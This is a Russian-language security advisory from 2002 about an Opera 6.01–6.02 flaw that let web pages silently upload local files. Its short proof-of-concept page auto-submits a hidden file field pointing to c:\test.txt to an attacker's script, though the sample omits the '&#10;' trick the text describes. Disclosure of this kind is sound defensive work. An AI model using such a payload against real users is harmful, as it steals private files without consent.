Security Lab

Чтение произвольных локальных файлов в Opera

Дата публикации:28.05.2002
Всего просмотров:1574
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Opera, подобно большинством браузерам, поддерживает элемент <input type="file">, который используется для загрузки файлов на HTTP сервер. Так как элемент file очень чувствительный для безопасности, большинство web-браузеров не позволяет устанавливать атрибут "value" ( если это удастся, то злонамеренный Web cервер может загружать произвольный локальный файл, представляя форму).

В Opera атрибут "value" может быть установлен, но перед отправкой на сервер, пользователю будет выдано предупреждение: "The files listed below have been selected, without your intervention, to be sent to another computer. Do you want to send these files?"

Добавляя в конец простой "&#10;" (HTML объект, который соответствует ASCII коду символа новой строки (new-line)) к концу file элемента атрибута "value", алгоритм безопасности Opera посчитает, что никакие файлы небыли назначены, и предупреждение не будет отображено. Опера просто представит форму с желательным файлом, выбранным нападающим.

Уязвимость обнаружена в Opera version 6.01-6.02 (версии до 6.01 не подвержены этой уязвимости).

Пример (доставит файл c:/test.txt атакующему серверу):

<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" 
action="recFile.php" 
name="secForm">
<input type="file" name="expFile" 
value="c:\test.txt" 
style="visibility:hidden">
</form>
</body>
Ссылки: Opera Allows Reading of Any Local File